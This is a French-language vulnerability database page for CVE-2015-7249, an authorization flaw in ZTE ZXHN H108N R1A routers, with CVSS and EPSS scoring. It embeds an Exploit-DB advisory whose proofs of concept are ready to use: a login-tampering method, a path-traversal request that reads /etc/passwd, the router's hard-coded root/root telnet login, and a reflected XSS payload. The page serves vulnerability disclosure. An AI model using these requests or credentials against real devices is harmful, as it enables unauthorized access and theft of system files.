CVE-2015-7249 : Détail

CVE-2015-7249

4.9
/
Moyen
A01-Broken Access Control
9.07%V4
Network
2015-12-30
01h00 +00:00
2017-09-12
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

ZTE ZXHN H108N R1A devices before ZTE.bhs.ZXHNH108NR1A.k_PE allow remote authenticated users to bypass intended access restrictions via a modified request, as demonstrated by leveraging the support account to change a password via a cgi-bin/webproc accountpsd action.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 4.9 MEDIUM CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 6.8 AV:N/AC:L/Au:S/C:N/I:C/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 38773

Date de publication : 2015-11-19 23h00 +00:00
Auteur : Karn Ganeshen
EDB Vérifié : No

# Exploit Title: [ZTE ZXHN H108N R1A + ZXV10 W300 routers - multiple vulnerabilities] # Discovered by: Karn Ganeshen # CERT VU# 391604 # Vendor Homepage: [www.zte.com.cn] # Versions Reported # ZTE ZXHN H108N R1A - Software version ZTE.bhs.ZXHNH108NR1A # ZTE ZXV10 W300 - Software version - w300v1.0.0f_ER1_PE Overview ZTE ZXHN H108N R1A router, version ZTE.bhs.ZXHNH108NR1A.h_PE, and ZXV10 W300 router, version W300V1.0.0f_ER1_PE, contain multiple vulnerabilities. *CVE-ID*: CVE-2015-7248 CVE-2015-7249 CVE-2015-7250 CVE-2015-7251 CVE-2015-7252 *Note*: Large deployment size, primarily in Peru, used by TdP. Description *CWE-200* <https://cwe.mitre.org/data/definitions/200.html>*: Information Exposure* - CVE-2015-7248 Multiple information exposure vulnerabilities enable an attacker to obtain credentials and other sensitive details about the ZXHN H108N R1A. A. User names and password hashes can be viewed in the page source of http://<IP>/cgi-bin/webproc PoC: Login Page source contents: ...snip.... //get user info var G_UserInfo = new Array(); var m = 0; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "admin"; //UserName G_UserInfo[m][1] = "$1$Tsnipped/; //Password Hash seen here G_UserInfo[m][2] = "1"; //Level G_UserInfo[m][3] = "1"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "user"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "2"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "support"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "3"; //Index m++; ...snip... B. The configuration file of the device contains usernames, passwords, keys, and other values in plain text, which can be used by a user with lower privileges to gain admin account access. This issue also affects ZTE ZXV10 W300 models, version W300V1.0.0f_ER1_PE. *CWE-285* <https://cwe.mitre.org/data/definitions/285.html>*: Improper Authorization* - CVE-2015-7249 By default, only admin may authenticate directly with the web administration pages in the ZXHN H108N R1A. By manipulating parameters in client-side requests, an attacker may authenticate as another existing account, such as user or support, and may be able to perform actions otherwise not allowed. PoC 1: 1. Login page user drop-down option shows only admin only. 2. Use an intercepting proxy / Tamper Data - and intercept the Login submit request. 3. Change the username admin to user / support and continue Login. 4. Application permits other users to log in to mgmt portal. PoC 2: After logging in as support, some functional options are visibly restricted. Certain actions can still be performed by calling the url directly. Application does not perform proper AuthZ checks. Following poc is a change password link. It is accessible directly, though it (correctly) is restricted to changing normal user (non-admin) password only. http:// <IP>/cgi-bin/webproc?getpage=html/index.html&var:menu=maintenance&var:page=accessctrl&var:subpage=accountpsd Other functions / pages may also be accessible to non-privileged users. *CWE-22* <http://cwe.mitre.org/data/definitions/22.html>*: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *- CVE-2015-7250 The webproc cgi module of the ZXHN H108N R1A accepts a getpage parameter which takes an unrestricted file path as input, allowing an attacker to read arbitrary files on the system. Arbitrary files can be read off of the device. No authentication is required to exploit this vulnerability. PoC HTTP POST request POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&errorpage=%2fetc%2fpasswd&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a HTTP Response HTTP/1.0 200 OK Content­type: text/html Pragma: no­cache Cache­Control: no­cache set­cookie: sessionid=7ce7bd4a; expires=Fri, 31­Dec­9999 23:59:59 GMT;path=/ #root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh #tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh *CWE-798* <http://cwe.mitre.org/data/definitions/798.html>*: Use of Hard-coded Credentials* - CVE-2015-7251 In the ZXHN H108N R1A, the Telnet service, when enabled, is accessible using the hard-coded credentials 'root' for both the username and password. *CWE-79* <https://cwe.mitre.org/data/definitions/79.html>*: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *- CVE-2015-7252 In the ZXHN H108N R1A, the errorpage parameter of the webproc cgi module is vulnerable to reflected cross-site scripting [pre-authentication]. PoC POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&*errorpage*=html%2fmain.html<script>alert(1)</script>&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a +++++ -- Best Regards, Karn Ganeshen

Products Mentioned

Configuraton 0

Zte>>Zxhn_h108n_r1a_firmware >> Version To (including) zte.bhs.zxhnh108nr1a.h_pe

Zte>>Zxhn_h108n_r1a >> Version *

Références

http://www.securityfocus.com/bid/77421
Tags : vdb-entry, x_refsource_BID
https://www.kb.cert.org/vuls/id/391604
Tags : third-party-advisory, x_refsource_CERT-VN
https://www.exploit-db.com/exploits/38773/
Tags : exploit, x_refsource_EXPLOIT-DB